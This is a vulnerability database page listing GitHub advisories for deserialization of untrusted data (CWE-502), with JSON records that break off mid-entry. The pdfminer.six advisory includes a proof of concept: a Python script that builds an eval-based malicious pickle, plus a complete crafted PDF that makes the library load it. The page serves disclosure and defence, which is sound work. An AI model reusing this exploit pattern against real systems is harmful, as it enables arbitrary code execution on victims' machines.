Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4797 vulnerabilities reference this CWE, most recent first.

GHSA-WCPC-F63G-X26Q

Vulnerability from github – Published: 2022-05-01 02:12 – Updated: 2023-09-18 23:41
VLAI
Summary
Py2Play Unpickles Untrusted Objects
Details

Py2Play allows remote attackers to execute arbitrary Python code via pickled objects, which Py2Play unpickles and executes.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Py2Play"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2005-2875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-18T23:41:06Z",
    "nvd_published_at": "2005-09-13T23:03:00Z",
    "severity": "HIGH"
  },
  "details": "Py2Play allows remote attackers to execute arbitrary Python code via pickled objects, which Py2Play unpickles and executes.",
  "id": "GHSA-wcpc-f63g-x26q",
  "modified": "2023-09-18T23:41:06Z",
  "published": "2022-05-01T02:12:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-2875"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/show_bug.cgi?id=103524"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20040824010038/http://home.gna.org/oomadness/fr/slune/index.html"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20050213041706/http://soya.literati.org"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20161225000907/http://www.securityfocus.com/bid/14864"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=326976"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2005/dsa-856"
    },
    {
      "type": "WEB",
      "url": "http://www.gentoo.org/security/en/glsa/glsa-200509-09.xml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Py2Play Unpickles Untrusted Objects"
}

GHSA-WCQQ-JH3M-43F6

Vulnerability from github – Published: 2023-01-16 18:30 – Updated: 2023-01-24 21:30
VLAI
Details

The Anti-Malware Security and Brute-Force Firewall WordPress plugin through 4.21.85 is prone to a PHP Object Injection vulnerability due to the unsafe use of unserialize() function. A potential attacker, authenticated as high privilege user could exploit this vulnerability by sending specially crafted requests to the web application containing malicious serialized input.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-4327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-16T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Anti-Malware Security and Brute-Force Firewall WordPress plugin through 4.21.85 is prone to a PHP Object Injection vulnerability due to the unsafe use of unserialize() function. A potential attacker, authenticated as high privilege user could exploit this vulnerability by sending specially crafted requests to the web application containing malicious serialized input.",
  "id": "GHSA-wcqq-jh3m-43f6",
  "modified": "2023-01-24T21:30:30Z",
  "published": "2023-01-16T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4327"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/2c94e7b6-a9dd-47d4-bb17-20acb072c825"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCR3-GM9F-F87Q

Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-27 22:19
VLAI
Summary
Ludwig framework is vulnerable to insecure deserialization through its predict() method.
Details

The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) through its predict() method. When a user provides a dataset file path to the predict() method, the framework automatically determines the file format. If the file is a pickle (.pkl) file, it is loaded using pandas.read_pickle() without any validation or security restrictions. This allows the deserialization of arbitrary Python objects via the unsafe pickle module. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the system running the Ludwig prediction.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ludwig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:19:35Z",
    "nvd_published_at": "2026-05-12T18:16:52Z",
    "severity": "CRITICAL"
  },
  "details": "The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) through its predict() method. When a user provides a dataset file path to the predict() method, the framework automatically determines the file format. If the file is a pickle (.pkl) file, it is loaded using pandas.read_pickle() without any validation or security restrictions. This allows the deserialization of arbitrary Python objects via the unsafe pickle module. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the system running the Ludwig prediction.",
  "id": "GHSA-wcr3-gm9f-f87q",
  "modified": "2026-05-27T22:19:35Z",
  "published": "2026-05-12T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31237"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ludwig-ai/ludwig"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/CVE-2026-31237-35d1e139318881fb95a2ee7c5d0e17d8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ludwig framework is vulnerable to insecure deserialization through its predict() method."
}

GHSA-WCW4-534X-P2M6

Vulnerability from github – Published: 2025-11-25 21:32 – Updated: 2025-11-26 15:34
VLAI
Details

An issue was discovered in jishenghua JSH_ERP 2.3.1. The /role/addcan endpoint is vulnerable to fastjson deserialization attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-51745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-25T21:15:56Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in jishenghua JSH_ERP 2.3.1. The /role/addcan endpoint is vulnerable to fastjson deserialization attacks.",
  "id": "GHSA-wcw4-534x-p2m6",
  "modified": "2025-11-26T15:34:11Z",
  "published": "2025-11-25T21:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51745"
    },
    {
      "type": "WEB",
      "url": "https://blog.hackpax.top/jsh-erp4"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Paxsizy/cd1557aeba8093a8650601c4dbffb6f9"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/jishenghua"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/jishenghua/JSH_ERP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCWC-FWP9-7PP5

Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-03-09 18:31
VLAI
Details

Deserialization of Untrusted Data vulnerability in NextScripts NextScripts social-networks-auto-poster-facebook-twitter-g allows Object Injection.This issue affects NextScripts: from n/a through <= 4.4.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-27379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T06:16:27Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in NextScripts NextScripts social-networks-auto-poster-facebook-twitter-g allows Object Injection.This issue affects NextScripts: from n/a through \u003c= 4.4.7.",
  "id": "GHSA-wcwc-fwp9-7pp5",
  "modified": "2026-03-09T18:31:38Z",
  "published": "2026-03-05T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27379"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/social-networks-auto-poster-facebook-twitter-g/vulnerability/wordpress-nextscripts-plugin-4-4-6-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCX8-F39F-5C87

Vulnerability from github – Published: 2025-06-20 21:32 – Updated: 2025-07-16 18:32
VLAI
Details

A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-25034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-20T19:15:35Z",
    "severity": "CRITICAL"
  },
  "details": "A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.",
  "id": "GHSA-wcx8-f39f-5c87",
  "modified": "2025-07-16T18:32:32Z",
  "published": "2025-06-20T21:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb"
    },
    {
      "type": "WEB",
      "url": "https://karmainsecurity.com/KIS-2016-07"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/sugarcrm-php-deserialization-rce"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20160508053502/http://www.sugarcrm.com/security/sugarcrm-sa-2016-001"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20160725194502/http://www.sugarcrm.com/security/sugarcrm-sa-2016-008"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/40344"
    },
    {
      "type": "WEB",
      "url": "https://www.sugarcrm.com/crm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WF54-F8V9-V72V

Vulnerability from github – Published: 2024-05-23 03:30 – Updated: 2025-10-22 00:33
VLAI
Details

Justice AV Solutions Viewer Setup 8.3.7.250-1 contains a malicious binary when executed and is signed with an unexpected authenticode signature. A remote, privileged threat actor may exploit this vulnerability to execute of unauthorized PowerShell commands.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-4978"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-506"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-23T02:15:09Z",
    "severity": "HIGH"
  },
  "details": "Justice AV Solutions Viewer Setup 8.3.7.250-1 contains a malicious binary when executed and is signed with an unexpected authenticode signature. A remote, privileged threat actor may exploit this vulnerability to execute of unauthorized PowerShell commands.",
  "id": "GHSA-wf54-f8v9-v72v",
  "modified": "2025-10-22T00:33:02Z",
  "published": "2024-05-23T03:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4978"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/2RunJack2/status/1775052981966377148"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-4978"
    },
    {
      "type": "WEB",
      "url": "https://www.javs.com/downloads"
    },
    {
      "type": "WEB",
      "url": "https://www.rapid7.com/blog/post/2024/05/23/cve-2024-4978-backdoored-justice-av-solutions-viewer-software-used-in-apparent-supply-chain-attack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WF5F-4JWR-PPCP

Vulnerability from github – Published: 2025-11-07 20:52 – Updated: 2026-01-09 00:30
VLAI
Summary
Arbitrary Code Execution in pdfminer.six via Crafted PDF Input
Details

Summary

pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.

Details

# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # Insufficient sanitization
    filename = "%s.pickle.gz" % name
    # ... path construction ...
    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization

An attacker can: 1. Create a malicious PDF with a CMap reference like /malicious 2. Place a malicious pickle file at /malicious.pickle.gz 3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle 4. The pickle deserialization can execute arbitrary Python code

POC

Malicious PDF

Create a PDF with a malicious CMAP entry:

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.

Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()

This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.

Test

Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:

$ pdf2txt.py malicious.pdf
Malicious code executed!

Impact

If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.

The difficulty in achieving this depends on the OS, see below.

Linux, MacOS - harder to exploit

On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:

  • An attacker may find a way to write files to a known location on the target system or
  • The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.

Overall, there is generally less risk on a Linux or Linux-like system.

Windows - easier to exploit

Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.

Appendix

A complete, malicious PDF is provided here. A dockerized POC is available upon request.

%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj

3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj

4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj

7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj

xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pdfminer.six"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20251107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-07T20:52:24Z",
    "nvd_published_at": "2025-11-10T22:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\npdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.\n\n### Details\n\n```python\n# Vulnerable code in pdfminer/cmapdb.py:233-246\ndef _load_data(cls, name: str) -\u003e Any:\n    name = name.replace(\"\\0\", \"\")  # Insufficient sanitization\n    filename = \"%s.pickle.gz\" % name\n    # ... path construction ...\n    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored\n    # ...\n    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization\n```\n\nAn attacker can:\n1. Create a malicious PDF with a CMap reference like `/malicious`\n2. Place a malicious pickle file at `/malicious.pickle.gz`\n3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle\n4. The pickle deserialization can execute arbitrary Python code\n\n### POC\n\n#### Malicious PDF\n\nCreate a PDF with a malicious CMAP entry:\n\n```\n5 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /Type0\n/BaseFont /MaliciousFont-Identity-H\n/Encoding /#2Fpdfs#2Fmalicious\n/DescendantFonts [6 0 R]\n\u003e\u003e\nendobj\n```\n\nHere the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`.\n\n#### Malicious Pickle\n\nCreate a malicious, zipped pickle to execute. For example, with this Python script:\n\n```python\n#!/usr/bin/env python3\nimport pickle\nimport gzip\n\ndef create_demo_pickle():\n    print(\"Creating demonstration pickle file...\")\n\n    # Create payload that executes code AND returns a dict (as pdfminer expects)\n    class EvilPayload:\n        def __reduce__(self):\n            # This function will be called during unpickling\n            code = \"print(\u0027Malicious code executed.\u0027) or exit(0) or {}\"\n            return (eval, (code,))\n\n    demo_cmap_data = EvilPayload()\n\n    # Create the pickle file that the path traversal would access\n    target_path = \"./malicious.pickle.gz\"\n\n    try:\n        with gzip.open(target_path, \u0027wb\u0027) as f:\n            pickle.dump(demo_cmap_data, f)\n        print(f\"\u2713 Created demonstration pickle file: {target_path}\")\n        return target_path\n\n    except Exception as e:\n        print(f\"\u2717 Error creating pickle file: {e}\")\n        return None\n\nif __name__ == \"__main__\":\n    create_demo_pickle()\n```\n\nThis will create a harmless, zipped pickle file that will display \"Malicious code eecuted.\" then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`.\n\n#### Test\n\nInstall pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output:\n\n```\n$ pdf2txt.py malicious.pdf\nMalicious code executed!\n```\n\n### Impact\n\nIf pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim\u0027s system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.\n\nThe difficulty in achieving this depends on the OS, see below.\n\n#### Linux, MacOS - harder to exploit\n\nOn Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:\n\n* An attacker may find a way to write files to a known location on the target system or\n* The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.\n\nOverall, there is generally less risk on a Linux or Linux-like system.\n\n#### Windows - easier to exploit\n\nWindows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.\n\n### Appendix\n\nA complete, malicious PDF is provided here. A dockerized POC is available upon request.\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c\n/Type /Catalog\n/Pages 2 0 R\n\u003e\u003e\nendobj\n\n2 0 obj\n\u003c\u003c\n/Type /Pages\n/Kids [3 0 R]\n/Count 1\n\u003e\u003e\nendobj\n\n3 0 obj\n\u003c\u003c\n/Type /Page\n/Parent 2 0 R\n/MediaBox [0 0 612 792]\n/Contents 4 0 R\n/Resources\n\u003c\u003c\n/Font\n\u003c\u003c\n/F1 5 0 R\n\u003e\u003e\n\u003e\u003e\n\u003e\u003e\nendobj\n\n4 0 obj\n\u003c\u003c\n/Length 44\n\u003e\u003e\nstream\nBT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\nendstream\nendobj\n\n5 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /Type0\n/BaseFont /MaliciousFont-Identity-H\n/Encoding /#2Fpdfs#2Fmalicious\n/DescendantFonts [6 0 R]\n\u003e\u003e\nendobj\n\n6 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /CIDFontType2\n/BaseFont /MaliciousFont\n/CIDSystemInfo\n\u003c\u003c\n/Registry (Adobe)\n/Ordering (Identity)\n/Supplement 0\n\u003e\u003e\n/FontDescriptor 7 0 R\n\u003e\u003e\nendobj\n\n7 0 obj\n\u003c\u003c\n/Type /FontDescriptor\n/FontName /MaliciousFont\n/Flags 4\n/FontBBox [-1000 -1000 1000 1000]\n/ItalicAngle 0\n/Ascent 1000\n/Descent -200\n/CapHeight 800\n/StemV 80\n\u003e\u003e\nendobj\n\nxref\n0 8\n0000000000 65535 f\n0000000009 00000 n\n0000000058 00000 n\n0000000115 00000 n\n0000000274 00000 n\n0000000370 00000 n\n0000000503 00000 n\n0000000673 00000 n\ntrailer\n\u003c\u003c\n/Size 8\n/Root 1 0 R\n\u003e\u003e\nstartxref\n871\n%%EOF\n```",
  "id": "GHSA-wf5f-4jwr-ppcp",
  "modified": "2026-01-09T00:30:27Z",
  "published": "2025-11-07T20:52:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64512"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pdfminer/pdfminer.six"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/releases/tag/20251107"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00005.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary Code Execution in pdfminer.six via Crafted PDF Input"
}

GHSA-WF76-QGQQ-GCFJ

Vulnerability from github – Published: 2022-05-24 17:08 – Updated: 2023-01-14 05:27
VLAI
Summary
RCE vulnerability in Google Kubernetes Engine Plugin
Details

Google Kubernetes Engine Plugin 0.8.0 and earlier does not configure its YAML parser to prevent the instantiation of arbitrary types. This results in a remote code execution vulnerability exploitable by users able to provide YAML input files to Google Kubernetes Engine Plugin’s build step.

Google Kubernetes Engine Plugin 0.8.1 configures its YAML parser to only instantiate safe types.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:google-kubernetes-engine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-2121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-14T05:27:29Z",
    "nvd_published_at": "2020-02-12T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Google Kubernetes Engine Plugin 0.8.0 and earlier does not configure its YAML parser to prevent the instantiation of arbitrary types. This results in a remote code execution vulnerability exploitable by users able to provide YAML input files to Google Kubernetes Engine Plugin\u2019s build step.\n\nGoogle Kubernetes Engine Plugin 0.8.1 configures its YAML parser to only instantiate safe types.",
  "id": "GHSA-wf76-qgqq-gcfj",
  "modified": "2023-01-14T05:27:29Z",
  "published": "2022-05-24T17:08:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2121"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/google-kubernetes-engine-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2020-02-12/#SECURITY-1731"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/02/12/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RCE vulnerability in Google Kubernetes Engine Plugin"
}

GHSA-WF7F-8FXF-XFXC

Vulnerability from github – Published: 2024-06-04 12:31 – Updated: 2025-09-29 19:36
VLAI
Summary
MLFlow unsafe deserialization
Details

Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.5.0 or newer, enabling a maliciously uploaded PyTorch model to run arbitrary code on an end user’s system when interacted with.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "last_affected": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
